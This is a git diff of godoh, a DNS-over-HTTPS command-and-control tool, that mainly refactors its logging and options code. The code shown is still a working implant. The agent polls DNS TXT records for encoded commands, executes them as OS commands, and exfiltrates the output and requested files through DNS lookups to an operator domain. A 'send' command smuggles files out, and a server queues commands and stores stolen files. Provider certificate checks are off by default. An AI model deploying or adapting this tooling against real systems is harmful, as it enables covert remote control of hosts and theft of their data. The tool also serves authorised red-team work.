diff --git a/Makefile b/Makefile
index 5dfcbdd..07ea806 100644
--- a/Makefile
+++ b/Makefile
@@ -10,7 +10,7 @@ LD_FLAGS := -s -w -X=github.com/sensepost/godoh/cmd.Version=$(V)
 # set dnsDomain if set
 # Example: make dnsDomain=foo.bar
 ifneq ($(dnsDomain),)
-	LD_FLAGS := $(LD_FLAGS) -X=github.com/sensepost/godoh/cmd.dnsDomain=$(dnsDomain)
+	LD_FLAGS := $(LD_FLAGS) -X=github.com/sensepost/godoh/cmd.CompileTimeDomain=$(dnsDomain)
 endif
 
 default: keywarn clean darwin linux windows integrity
@@ -24,7 +24,7 @@ keywarn:
 	@echo "!!! Not doing this will leave your C2 using the default key!\n"
 
 key:
-	sed -i -E "s/const.*/const cryptKey = \`$(K)\`/g" utils/key.go
+	sed -i -E "s/const.*/const cryptKey = \`$(K)\`/g" lib/key.go
 
 install:
 	go install
diff --git a/cmd/agent.go b/cmd/agent.go
index 6ab3a22..51d757c 100644
--- a/cmd/agent.go
+++ b/cmd/agent.go
@@ -10,12 +10,9 @@ import (
 	"time"
 
 	"github.com/miekg/dns"
-	"github.com/sensepost/godoh/dnsclient"
+	"github.com/sensepost/godoh/lib"
 	"github.com/sensepost/godoh/protocol"
-	"github.com/sensepost/godoh/utils"
 	"github.com/spf13/cobra"
-
-	log "github.com/sirupsen/logrus"
 )
 
 var agentCmdAgentName string
@@ -33,48 +30,56 @@ Example:
 	godoh --domain example.com agent --agent-name agent1 --poll-time 5`,
 	Run: func(cmd *cobra.Command, args []string) {
 
+		log := options.Logger
+
 		if agentCmdAgentName == "" {
-			agentCmdAgentName = utils.RandomString(5)
+			agentCmdAgentName = lib.RandomString(5)
 		}
 
-		agentLogger := log.WithFields(log.Fields{"module": "agent", "ident": agentCmdAgentName})
+		log.Debug().Msg("resolving dns client")
+		client, err := options.GetDNSClient()
+		if err != nil {
+			log.Fatal().Err(err).Msg("failed to get dns client")
+		}
 
-		agentLogger.Info("Starting polling...")
+		log.Debug().Msg("polling started")
 
 		for {
 			// Wait for the next poll!
 			time.Sleep(time.Second * time.Duration(agentCmdAgentPoll))
 
+			pollDomain := fmt.Sprintf("%x.%s", agentCmdAgentName, options.Domain)
+			log.Debug().Str("poll-domain", pollDomain).Msg("poll domain")
+
 			// Do lookup
-			response := dnsclient.Lookup(dnsProvider,
-				fmt.Sprintf("%x.%s", agentCmdAgentName, dnsDomain), dns.TypeTXT)
+			response := client.Lookup(pollDomain, dns.TypeTXT)
 
 			// Do nothing.
-			if strings.Contains(response.Data, protocol.NoCmdTxtResponse[0]) {
+			if strings.Contains(response.Data, protocol.NoCmdTxtResponse) {
 				continue
 			}
 
-			if strings.Contains(response.Data, protocol.ErrorTxtResponse[0]) {
-				agentLogger.Error("Server indicated an error. Stopping :(")
+			if strings.Contains(response.Data, protocol.ErrorTxtResponse) {
+				log.Error().Msg("server indicated an error. stopping :(")
 				continue
 			}
 
-			if strings.Contains(response.Data, protocol.CmdTxtResponse[0]) {
+			if strings.Contains(response.Data, protocol.CmdTxtResponse) {
 
 				cmdParsed := strings.Split(response.Data, "p=")[1]
 				cmd := strings.Split(cmdParsed, "\"")[0]
-				agentLogger.WithFields(log.Fields{"cmd-data": cmd}).Info("Got command data to execute, processing")
+				log.Debug().Str("cmd-data", cmd).Msg("raw command")
 
 				// decode the command
 				dataBytes, err := hex.DecodeString(cmd)
 				if err != nil {
-					agentLogger.WithFields(log.Fields{"err": err}).Error("Failed to decode command data")
+					log.Error().Err(err).Msg("failed to decode command data")
 					return
 				}
 
 				var command string
-				utils.UngobUnpress(&command, dataBytes)
-				agentLogger.WithFields(log.Fields{"cmd": command}).Info("Decoded command")
+				lib.UngobUnpress(&command, dataBytes)
+				log.Debug().Str("cmd", command).Msg("executing command")
 
 				// Execute the command!
 				commandSplit := strings.Split(command, " ")
@@ -86,17 +91,16 @@ Example:
 
 				// File download
 				if cmdBin == "download" {
-					agentLogger.Info("Command is for a file download")
-					if err := downloadFile(strings.Join(cmdArgs, " "), agentLogger); err != nil {
-						// silently fail
-						agentLogger.WithFields(log.Fields{"err": err}).Error("Failed to download file")
+					log.Debug().Str("cmd", command).Msg("command is to download a file")
+					if err := downloadFile(strings.Join(cmdArgs, " ")); err != nil {
+						log.Error().Err(err).Msg("failed to download file")
 					}
 					continue
 				}
 
 				// Exec an os command
-				agentLogger.Info("Command interpreted as OS command")
-				go executeCommand(cmdBin, cmdArgs, agentLogger)
+				log.Debug().Str("cmd", command).Msg("command is an os command")
+				go executeCommand(cmdBin, cmdArgs)
 				continue
 			}
 		}
@@ -110,7 +114,9 @@ func init() {
 	agentCmd.Flags().IntVarP(&agentCmdAgentPoll, "poll-time", "t", 10, "Time in seconds between polls.")
 }
 
-func executeCommand(cmdBin string, cmdArgs []string, logger *log.Entry) {
+// executeCommand executes an OS command
+func executeCommand(cmdBin string, cmdArgs []string) {
+	log := options.Logger
 
 	out, err := exec.Command(cmdBin, cmdArgs...).CombinedOutput()
 	if err != nil {
@@ -120,36 +126,33 @@ func executeCommand(cmdBin string, cmdArgs []string, logger *log.Entry) {
 	// Send the response back to the server!
 	commandOutput := protocol.Command{}
 	commandOutput.Data = out
-	commandOutput.ExecTime = time.Now()
+	commandOutput.ExecTime = time.Now().UTC().UnixNano()
 
 	commandOutput.Prepare(cmdBin + strings.Join(cmdArgs, " "))
 	requests, successFlag := commandOutput.GetRequests()
 
-	logger.WithFields(log.Fields{
-		"request-count":  len(requests),
-		"cmd-output-len": len(out),
-	}).Info("Sending command output back")
+	log.Debug().Int("requests", len(requests)).Msg("result request count")
+
+	client, err := options.GetDNSClient()
+	if err != nil {
+		log.Fatal().Err(err).Msg("failed to get dns client")
+	}
 
 	for _, r := range requests {
-		response := dnsclient.Lookup(dnsProvider, fmt.Sprintf("%s.%s", r, dnsDomain), dns.TypeA)
+		response := client.Lookup(fmt.Sprintf("%s.%s", r, options.Domain), dns.TypeA)
 
 		if response.Data == successFlag {
-			logger.WithFields(log.Fields{
-				"response": response.Data,
-				"labels":   r,
-			}).Info("Successful request made")
+			log.Debug().Str("response", response.Data).Str("labels", r).Msg("request success")
 		} else {
-			logger.WithFields(log.Fields{
-				"response": response.Data,
-				"labels":   r,
-			}).Info("Server did not respond with a successful ack. Exiting")
-			fmt.Println("")
+			log.Debug().Str("response", response.Data).Str("labels", r).Msg("request failed. exiting")
 			return
 		}
 	}
 }
 
-func downloadFile(fileName string, logger *log.Entry) error {
+// downloadFile downloads a file from the agent
+func downloadFile(fileName string) error {
+	log := options.Logger
 
 	file, err := os.Open(fileName)
 	if err != nil {
@@ -171,21 +174,18 @@ func downloadFile(fileName string, logger *log.Entry) error {
 	message.Prepare(&fileBuffer, fileInfo)
 	requests, successFlag := message.GetRequests()
 
+	client, err := options.GetDNSClient()
+	if err != nil {
+		log.Fatal().Err(err).Msg("failed to get dns client")
+	}
+
 	for _, r := range requests {
-		response := dnsclient.Lookup(dnsProvider, fmt.Sprintf("%s.%s", r, dnsDomain), dns.TypeA)
+		response := client.Lookup(fmt.Sprintf("%s.%s", r, options.Domain), dns.TypeA)
 
 		if response.Data == successFlag {
-			logger.WithFields(log.Fields{
-				"response": response.Data,
-				"labels":   r,
-			}).Info("Successful request made")
-
+			log.Debug().Str("response", response.Data).Str("labels", r).Msg("request success")
 		} else {
-			logger.WithFields(log.Fields{
-				"response": response.Data,
-				"labels":   r,
-			}).Info("Server did not respond with a successful ack. Exiting")
-
+			log.Debug().Str("response", response.Data).Str("labels", r).Msg("request failed. exiting")
 			return nil
 		}
 	}
diff --git a/cmd/c2.go b/cmd/c2.go
index 24275d1..5c5b591 100644
--- a/cmd/c2.go
+++ b/cmd/c2.go
@@ -11,8 +11,6 @@ import (
 	"github.com/sensepost/godoh/dnsserver"
 	"github.com/sensepost/godoh/protocol"
 	"github.com/spf13/cobra"
-
-	log "github.com/sirupsen/logrus"
 )
 
 var replPrompt = "c2"
@@ -33,21 +31,21 @@ sub command cares little for that as any incoming, raw DNS packets are parsed.
 Examples:
 	godoh --domain example.com c2`,
 	Run: func(cmd *cobra.Command, args []string) {
-
-		c2logger := log.WithFields(log.Fields{"module": "c2", "domain": dnsDomain})
+		log := options.Logger
 
 		srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"}
 		h := &dnsserver.Handler{
 			StreamSpool:  make(map[string]protocol.DNSBuffer),
 			CommandSpool: make(map[string]protocol.Command), // only a single command per agent now
 			Agents:       make(map[string]protocol.Agent),
+			Log:          options.Logger,
 		}
 		srv.Handler = h
 
 		go func() {
-			c2logger.Info("DNS C2 starting...")
+			log.Debug().Msg("dns c2 starting up")
 			if err := srv.ListenAndServe(); err != nil {
-				log.Fatalf("Failed to set udp listener %s\n", err.Error())
+				log.Fatal().Err(err).Msg("failed to start dns server")
 			}
 		}()
 
@@ -137,7 +135,7 @@ Examples:
 			c.Prepare(command)
 			h.CommandSpool[agentContext] = c
 
-			c2logger.WithFields(log.Fields{"agent": agentContext, "cmd": command}).Info("Queued command")
+			log.Info().Str("agent", agentContext).Str("command", command).Msg("command queued")
 		}
 	},
 }
diff --git a/cmd/receive.go b/cmd/receive.go
index adc5bf9..51c6a56 100644
--- a/cmd/receive.go
+++ b/cmd/receive.go
@@ -4,11 +4,10 @@ import (
 	"strconv"
 
 	"github.com/miekg/dns"
-	"github.com/sensepost/godoh/dnsserver"
-	"github.com/sensepost/godoh/protocol"
 	"github.com/spf13/cobra"
 
-	log "github.com/sirupsen/logrus"
+	"github.com/sensepost/godoh/dnsserver"
+	"github.com/sensepost/godoh/protocol"
 )
 
 // receiveCmd represents the receive command
@@ -23,13 +22,15 @@ Example:
 	godoh --domain example.com receive`,
 	Run: func(cmd *cobra.Command, args []string) {
 
+		log := options.Logger
+
 		srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"}
 		srv.Handler = &dnsserver.Handler{
 			StreamSpool: make(map[string]protocol.DNSBuffer),
 		}
-		log.Info("Serving DNS")
+		log.Info().Msg("starting dns server")
 		if err := srv.ListenAndServe(); err != nil {
-			log.Fatalf("Failed to set udp listener %s\n", err.Error())
+			log.Fatal().Err(err).Msg("failed to start dns server")
 		}
 	},
 }
diff --git a/cmd/root.go b/cmd/root.go
index 93de739..7f57958 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -1,28 +1,29 @@
 package cmd
 
 import (
-	"crypto/tls"
 	"fmt"
 	"math/rand"
-	"net/http"
 	"os"
-	"strings"
 	"time"
 
-	"github.com/sensepost/godoh/dnsclient"
+	"github.com/sensepost/godoh/lib"
 
-	log "github.com/sirupsen/logrus"
+	"github.com/rs/zerolog"
+	"github.com/rs/zerolog/log"
 
 	"github.com/spf13/cobra"
 )
 
-// Version is the version of godoh
-var Version string
+var (
+	// Version is the current version
+	Version string
 
-var dnsDomain string
-var dnsProviderName string
-var dnsProvider dnsclient.Client
-var validateSSL bool
+	// CompileTimeDomain is the domain set with `make dnsDomain=foo.com`
+	CompileTimeDomain string
+
+	// options are CLI options
+	options = lib.NewOptions()
+)
 
 // rootCmd represents the base command when called without any subcommands
 var rootCmd = &cobra.Command{
@@ -31,6 +32,37 @@ var rootCmd = &cobra.Command{
 	Long: `A DNS (over-HTTPS) C2
     Version: ` + Version + `
 	By @leonjza from @sensepost`,
+	PersistentPreRun: func(cmd *cobra.Command, args []string) {
+
+		rand.Seed(time.Now().UTC().UnixNano())
+
+		// configure the TLS validation setup
+		options.SetTLSValidation()
+
+		// Setup the logger to use
+		log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "02 Jan 2006 15:04:05"})
+		if options.Debug {
+			log.Logger = log.Logger.Level(zerolog.DebugLevel)
+			log.Logger = log.With().Caller().Logger()
+			log.Debug().Msg("debug logging enabed")
+		} else {
+			log.Logger = log.Logger.Level(zerolog.InfoLevel)
+		}
+		if options.DisableLogging {
+			log.Logger = log.Logger.Level(zerolog.Disabled)
+		}
+
+		options.Logger = &log.Logger
+
+		// if we have a compile time domain, use that if one is not set via CLI
+		if (options.Domain == "") && (CompileTimeDomain != "") {
+			log.Debug().Str("domain", CompileTimeDomain).Msg("using compile time domain")
+			options.Domain = CompileTimeDomain
+		} else {
+			log.Debug().Str("domain", options.Domain).Msg("using flag domain")
+		}
+
+	},
 	Run: func(cmd *cobra.Command, args []string) {
 
 		// by default, start in agent mode
@@ -50,68 +82,16 @@ func Execute() {
 }
 
 func init() {
-	cobra.OnInitialize(validateDNSProvider)
-	cobra.OnInitialize(validateDNSDomain)
-	cobra.OnInitialize(seedRand)
-	cobra.OnInitialize(configureSSLValidation)
-
-	// if the DNS domain was configured at compile time, remove the flag
-	if dnsDomain == "" {
-		rootCmd.PersistentFlags().StringVarP(&dnsDomain,
-			"domain", "d", "", "DNS Domain to use. (ie: example.com)")
-	}
-
-	rootCmd.PersistentFlags().StringVarP(&dnsProviderName,
-		"provider", "p", "google",
-		"Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, raw]")
-	rootCmd.PersistentFlags().BoolVarP(&validateSSL,
-		"validate-certificate", "K", false, "Validate DoH provider SSL certificates")
-}
-
-func seedRand() {
-	rand.Seed(time.Now().UTC().UnixNano())
-}
-
-func validateDNSDomain() {
-	if dnsDomain == "" {
-		log.Fatalf("A DNS domain to use is required.")
-	}
 
-	if strings.HasPrefix(dnsDomain, ".") {
-		log.Fatalf("The DNS domain should be the base FQDN (without a leading dot).")
-	}
-
-	log.Infof("Using %s as DNS domain\n", dnsDomain)
-}
+	// logging
+	rootCmd.PersistentFlags().BoolVar(&options.Debug, "debug", false, "enable debug logging")
+	rootCmd.PersistentFlags().BoolVar(&options.DisableLogging, "disable-logging", false, "disable all logging")
 
-func validateDNSProvider() {
-	switch dnsProviderName {
-	case "googlefront":
-		log.Warn(`WARNING: Domain fronting dns.google.com via www.google.com no longer works. ` +
-			`A redirect to dns.google.com will be returned. See: https://twitter.com/leonjza/status/1187002742553923584`)
-		dnsProvider = dnsclient.NewGoogleFrontDNS()
-		break
-	case "google":
-		dnsProvider = dnsclient.NewGoogleDNS()
-		break
-	case "cloudflare":
-		dnsProvider = dnsclient.NewCloudFlareDNS()
-		break
-	case "quad9":
-		dnsProvider = dnsclient.NewQuad9DNS()
-		break
-	case "raw":
-		dnsProvider = dnsclient.NewRawDNS()
-		break
-	default:
-		log.Fatalf("DNS provider `%s` is not valid.\n", dnsProviderName)
+	// if the DNS domain was configured at compile time, remove the flag
+	if options.Domain == "" {
+		rootCmd.PersistentFlags().StringVarP(&options.Domain, "domain", "d", "", "DNS Domain to use. (ie: example.com)")
 	}
 
-	log.Infof("Using `%s` as preferred provider\n", dnsProviderName)
-}
-
-func configureSSLValidation() {
-	if !validateSSL {
-		http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
-	}
+	rootCmd.PersistentFlags().StringVarP(&options.ProviderName, "provider", "p", "google", "Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, raw]")
+	rootCmd.PersistentFlags().BoolVarP(&options.ValidateTLS, "validate-certificate", "K", false, "Validate DoH provider SSL certificates")
 }
diff --git a/cmd/send.go b/cmd/send.go
index b6579d6..36dd942 100644
--- a/cmd/send.go
+++ b/cmd/send.go
@@ -10,8 +10,6 @@ import (
 
 	"github.com/miekg/dns"
 	"github.com/spf13/cobra"
-
-	log "github.com/sirupsen/logrus"
 )
 
 var sendCmdFileName string
@@ -29,57 +27,49 @@ Example:
 	godoh --domain example.com send --file blueprints.docx`,
 	Run: func(cmd *cobra.Command, args []string) {
 
-		sendLogger := log.WithFields(log.Fields{"module": "send"})
+		log := options.Logger
 
 		if sendCmdFileName == "" {
-			sendLogger.Fatal("Please provide a file name to send!")
+			log.Fatal().Msg("a file to send is required")
 		}
 
 		file, err := os.Open(sendCmdFileName)
 		if err != nil {
-			sendLogger.Fatal(err)
+			log.Fatal().Err(err).Msg("failed to open file")
 		}
 		defer file.Close()
 
 		fileInfo, err := file.Stat()
 		if err != nil {
-			sendLogger.Fatal(err)
+			log.Fatal().Err(err).Msg("failed get file information")
 		}
 
 		fileSize := fileInfo.Size()
-		log.WithFields(log.Fields{"file": sendCmdFileName, "size": fileSize}).
-			Info("File name and size")
+		log.Info().Str("filename", sendCmdFileName).Int64("size", fileSize).Msg("file info")
 
 		fileBuffer, err := ioutil.ReadAll(file)
 		if err != nil {
-			sendLogger.Fatal(err)
+			log.Fatal().Err(err).Msg("failed to read file")
 		}
 
 		message := protocol.File{}
 		message.Prepare(&fileBuffer, fileInfo)
 		requests, successFlag := message.GetRequests()
 
-		log.WithFields(log.Fields{"file": sendCmdFileName, "size": fileSize, "requests": len(requests)}).
-			Info("Making DNS requests to transfer file")
+		log.Debug().Int("requests", len(requests)).Msg("request count to transfer file")
 
 		for _, r := range requests {
-			response := dnsclient.Lookup(dnsProvider, fmt.Sprintf(dnsDomain, r), dns.TypeA)
+			response := dnsclient.Lookup(options.Provider, fmt.Sprintf(options.Domain, r), dns.TypeA)
 
 			if response.Data == successFlag {
-				log.WithFields(log.Fields{
-					"file":     sendCmdFileName,
-					"size":     fileSize,
-					"requests": len(requests),
-					"response": response.Data,
-				}).Info("Server successfully acked")
-
+				log.Debug().Str("response", response.Data).Str("labels", r).Msg("request success")
 			} else {
-				fmt.Println("Server did not respond with a successful ack. Exiting.")
+				log.Error().Str("response", response.Data).Str("labels", r).Msg("request failed. exiting")
 				return
 			}
 		}
 
-		fmt.Println("Done! The file should be on the other side! :D")
+		log.Info().Msg("done! the file should be on the other side")
 	},
 }
 
diff --git a/debian/changelog b/debian/changelog
index 6261370..d378c41 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -1,3 +1,6 @@
+godoh (1.6+git20210124.ae4b936-1) UNRELEASED; urgency=low
+ -- Kali Janitor <janitor@kali.org>  Sat, 27 Mar 2021 18:28:49 -0000
+
 godoh (1.6+git20200517-0kali1) kali-dev; urgency=medium
 
   * Initial release (see 6141)
diff --git a/dnsserver/server.go b/dnsserver/server.go
index c1da151..bae6f57 100644
--- a/dnsserver/server.go
+++ b/dnsserver/server.go
@@ -15,10 +15,10 @@ import (
 	"time"
 
 	"github.com/miekg/dns"
+	"github.com/rs/zerolog"
+	"github.com/rs/zerolog/log"
+	"github.com/sensepost/godoh/lib"
 	"github.com/sensepost/godoh/protocol"
-	"github.com/sensepost/godoh/utils"
-
-	log "github.com/sirupsen/logrus"
 )
 
 // Handler handles incoming lookups.
@@ -26,15 +26,19 @@ type Handler struct {
 	StreamSpool  map[string]protocol.DNSBuffer
 	CommandSpool map[string]protocol.Command
 	Agents       map[string]protocol.Agent // Updated with TXT record checkins
+
+	Log *zerolog.Logger
 }
 
 // ServeDNS serves the DNS server used to read incoming lookups and process them.
 func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
+
 	msg := dns.Msg{}
 	msg.SetReply(r)
 
 	// Setup the response we will send. By default we assume everything
 	// will be successful and flip to failure as needed.
+	// for txt records we assume there is no command by default
 	msg.Authoritative = true
 	domain := msg.Question[0].Name
 	aRecordResponse := protocol.SuccessDNSResponse
@@ -69,15 +73,14 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 
 			// Add this new stream identifier
 			h.StreamSpool[ident] = *DNSBuf
-			log.WithFields(log.Fields{"ident": ident}).Info("New incoming DNS stream started")
+			log.Info().Str("agent", ident).Msg("new incoming dns stream")
 
 			break
 		}
 
 		// Error cases for a new stream request
 		if (streamType == protocol.StreamStart) && ok {
-			log.WithFields(log.Fields{"ident": ident}).
-				Error("Tried to start a new stream for an already recorded identifier. Bailing")
+			log.Error().Str("agent", ident).Msg("not starting a new stream for an existing identifier")
 			aRecordResponse = protocol.FailureDNSResponse
 			break
 		}
@@ -91,22 +94,20 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 			// update the buffer for this client
 			h.StreamSpool[ident] = bufferRecord
 
-			log.WithFields(log.Fields{"ident": ident, "seq": seq, "data": byteData}).
-				Debug("Wrote new data chunk")
+			log.Debug().Str("agent", ident).Int("seq", seq).Bytes("data", byteData).
+				Msg("wrote recieved data chunk")
 			break
 		}
 
 		// Handle errors for data appends
 		if (streamType == protocol.StreamData) && !ok {
-			log.WithFields(log.Fields{"ident": ident}).
-				Error("Tried to append to a steam that is not registered. Bailing")
+			log.Error().Str("agent", ident).Msg("not appending to stream that has not started")
 			aRecordResponse = protocol.FailureDNSResponse
 			break
 		}
 
 		if (streamType == protocol.StreamData) && ok && bufferRecord.Finished {
-			log.WithFields(log.Fields{"ident": ident}).
-				Error("Tried to append to a steam that is already finished. Bailing")
+			log.Error().Str("agent", ident).Msg("not appending to stream that has finished")
 			aRecordResponse = protocol.FailureDNSResponse
 			break
 		}
@@ -122,13 +123,11 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 
 			switch bufferRecord.Protocol {
 			case protocol.FileProtocol:
-				log.WithFields(log.Fields{"ident": ident}).
-					Info("Attempting to decode the finished FileProtocol stream.")
+				log.Debug().Str("agent", ident).Msg("decoding fileprotocol stream")
 
 				fp := &protocol.File{}
-				if err := utils.UngobUnpress(fp, bufferRecord.Data); err != nil {
-					log.WithFields(log.Fields{"ident": ident, "err": err}).
-						Error("UngobUnpress failed.")
+				if err := lib.UngobUnpress(fp, bufferRecord.Data); err != nil {
+					log.Error().Err(err).Str("agent", ident).Msg("failed to ungobpress")
 					aRecordResponse = protocol.FailureDNSResponse
 					break
 				}
@@ -136,36 +135,22 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 				// Update file path to only be the base name
 				fp.Name = filepath.Base(fp.Name)
 
-				log.WithFields(log.Fields{"ident": ident, "file-name": fp.Name, "file-sha": fp.Shasum}).
-					Info("Received file information.")
+				log.Info().Str("agent", ident).Str("file-name", fp.Name).Str("sha", fp.Shasum).Msg("received file info")
 
 				// check shasum
 				h := sha1.New()
 				h.Write(*fp.Data)
 				cSum := hex.EncodeToString(h.Sum(nil))
 
-				if cSum == fp.Shasum {
-					log.WithFields(log.Fields{
-						"ident":          ident,
-						"file-name":      fp.Name,
-						"file-sha":       fp.Shasum,
-						"calculated-sha": cSum,
-					}).Info("Calculated SHAsum matches")
-				} else {
-					log.WithFields(log.Fields{
-						"ident":          ident,
-						"file-name":      fp.Name,
-						"file-sha":       fp.Shasum,
-						"calculated-sha": cSum,
-					}).Warn("Calculated SHAsum does not match!")
+				if cSum != fp.Shasum {
+					log.Warn().Str("agent", ident).Str("file-name", fp.Name).Str("sha", fp.Shasum).Str("sha-real", cSum).
+						Msg("calculated and expected shasum mismatch")
 				}
 
-				log.WithFields(log.Fields{"ident": ident, "file-name": fp.Name}).
-					Info("Writing file to disk.")
+				log.Info().Str("agent", ident).Str("file-name", fp.Name).Msg("writing file to local disk")
 
 				if err := ioutil.WriteFile(fp.Name, *fp.Data, 0644); err != nil {
-					log.WithFields(log.Fields{"ident": ident, "file-name": fp.Name, "err": err}).
-						Info("Failed writing file to disk.")
+					log.Error().Err(err).Str("agent", ident).Str("file-name", fp.Name).Msg("failed writing file to local disk")
 					aRecordResponse = protocol.FailureDNSResponse
 					break
 				}
@@ -173,13 +158,11 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 				break
 
 			case protocol.CmdProtocol:
-				log.WithFields(log.Fields{"ident": ident}).
-					Info("Attempting to decode the finished CmdProtol stream.")
+				log.Debug().Str("agent", ident).Msg("decoding cmdprotocol stream")
 
 				cp := &protocol.Command{}
-				if err := utils.UngobUnpress(cp, bufferRecord.Data); err != nil {
-					log.WithFields(log.Fields{"ident": ident, "err": err}).
-						Error("UngobUnpress failed.")
+				if err := lib.UngobUnpress(cp, bufferRecord.Data); err != nil {
+					log.Error().Err(err).Str("agent", ident).Msg("failed to ungobpress")
 					aRecordResponse = protocol.FailureDNSResponse
 					break
 				}
@@ -189,8 +172,7 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 				break
 
 			default:
-				log.WithFields(log.Fields{"ident": ident}).
-					Info("Unknown protocol to decode? DODGE!")
+				log.Warn().Str("agent", ident).Msg("unknown protocol to decode. someone fuzzing us?")
 				aRecordResponse = protocol.FailureDNSResponse
 				break
 			}
@@ -200,8 +182,7 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 
 		// Handle closing errors
 		if (streamType == protocol.StreamEnd) && !ok {
-			log.WithFields(log.Fields{"ident": ident}).
-				Error("Tried to append to a steam that is not known. Bailing")
+			log.Error().Str("agent", ident).Msg("not appending to stream that has finished")
 			aRecordResponse = protocol.FailureDNSResponse
 			break
 		}
@@ -211,7 +192,7 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 	case dns.TypeTXT:
 		ident, err := h.parseTxtRRLabels(r)
 		if err != nil {
-			fmt.Printf("Failed to parse identifer: %s\n", err)
+			log.Debug().Err(err).Msg("failed to parse identifier")
 			txtRecordResponse = protocol.ErrorTxtResponse
 			break
 		}
@@ -225,7 +206,8 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 				FirstCheckin: time.Now(),
 				LastCheckin:  time.Now(),
 			}
-			log.WithFields(log.Fields{"ident": ident}).Info("First time checkin for agent")
+			log.Info().Str("agent", ident).Msg("first time checkin for new agent")
+
 			h.Agents[ident] = agentMeta
 		} else {
 			// Update the last checkin time
@@ -239,23 +221,22 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 			break
 		}
 
-		log.WithFields(log.Fields{"ident": ident, "cmd": cmd.Exec}).
-			Info("Giving agent a new command as checkin response")
+		log.Info().Str("agent", ident).Str("command", cmd.Exec).Msg("queuing command for agent")
 		txtRecordResponse = protocol.CmdTxtResponse
 
 		var ec bytes.Buffer
-		utils.GobPress(cmd.GetOutgoing(), &ec)
+		lib.GobPress(cmd.GetOutgoing(), &ec)
 		additionalTxtKey := fmt.Sprintf("p=%x", ec.Bytes())
 
 		if len(additionalTxtKey) > 230 {
-			log.WithFields(log.Fields{"ident": ident, "encoded-len": len(additionalTxtKey)}).
-				Info("Outgoing command too long for a single TXT record. Try a shorter one for now, sorry...")
+			log.Error().Str("agent", ident).Str("command", cmd.Exec).Int("encoded-len", len(additionalTxtKey)).
+				Msg("command too long for a single txt encoding run. use a shorter one for now, sorry!")
 			delete(h.CommandSpool, ident)
 			txtRecordResponse = protocol.ErrorTxtResponse
 			break
 		}
 
-		txtRecordResponse = append(txtRecordResponse, fmt.Sprintf("p=%x", ec.Bytes()))
+		txtRecordResponse = fmt.Sprintf("%s,%s", txtRecordResponse, fmt.Sprintf("p=%x", ec.Bytes()))
 
 		// Remove the command
 		delete(h.CommandSpool, ident)
@@ -270,15 +251,17 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
 	// Now, depending on the question we got, build a response packet
 	switch r.Question[0].Qtype {
 	case dns.TypeA:
+		log.Debug().Str("response", aRecordResponse).Msg("A response content")
 		msg.Answer = append(msg.Answer, &dns.A{
 			Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60},
 			A:   net.ParseIP(aRecordResponse),
 		})
 		break
 	case dns.TypeTXT:
+		log.Debug().Str("response", txtRecordResponse).Msg("TXT response content")
 		msg.Answer = append(msg.Answer, &dns.TXT{
 			Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 1},
-			Txt: txtRecordResponse,
+			Txt: []string{txtRecordResponse},
 		})
 	}
 
@@ -292,7 +275,7 @@ func (h *Handler) parseARRLabels(r *dns.Msg) (string, byte, int, int, []byte, er
 	hsq := strings.Split(r.Question[0].String(), ".")
 
 	if len(hsq) <= 9 {
-		fmt.Println("Question had less than 9 labels, bailing.")
+		log.Debug().Str("labels", r.Question[0].String()).Msg("question had less than 9 labels")
 		return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
 	}
 
@@ -304,20 +287,20 @@ func (h *Handler) parseARRLabels(r *dns.Msg) (string, byte, int, int, []byte, er
 
 	streamTypeBytes, err := hex.DecodeString(hsq[1])
 	if err != nil {
-		fmt.Printf("Failed to convert stream type to bytes:\n%s\n", err)
+		log.Error().Err(err).Str("agent", ident).Msg("failed to decode stream type bytes")
 		return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
 	}
 	streamType := streamTypeBytes[0]
 
 	seq, err := strconv.Atoi(hsq[2])
 	if err != nil {
-		fmt.Printf("Failed to convert sequence to Integer:\n%s\n", err)
+		log.Error().Err(err).Str("agent", ident).Msg("failed to convert seq to int")
 		return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
 	}
 
 	transferProtocol, err := strconv.Atoi(hsq[4])
 	if err != nil {
-		fmt.Printf("Failed to convert protocol to Integer:\n%s\n", err)
+		log.Error().Err(err).Str("agent", ident).Msg("failed to convert protocol to int")
 		return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
 	}
 
@@ -325,11 +308,11 @@ func (h *Handler) parseARRLabels(r *dns.Msg) (string, byte, int, int, []byte, er
 	// amount for data itself.
 	dataLen, err := strconv.Atoi(hsq[5])
 	if err != nil {
-		fmt.Printf("Failed to convert data length to Integer:\n%s\n", err)
+		log.Error().Err(err).Str("agent", ident).Msg("failed to convert data length to int")
 		return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse)
 	}
 
-	// build up the data variable. We assume of a label was 0
+	// build up the data variable. We assume that if a label was 0
 	// then the data is not interesting.
 	var data string
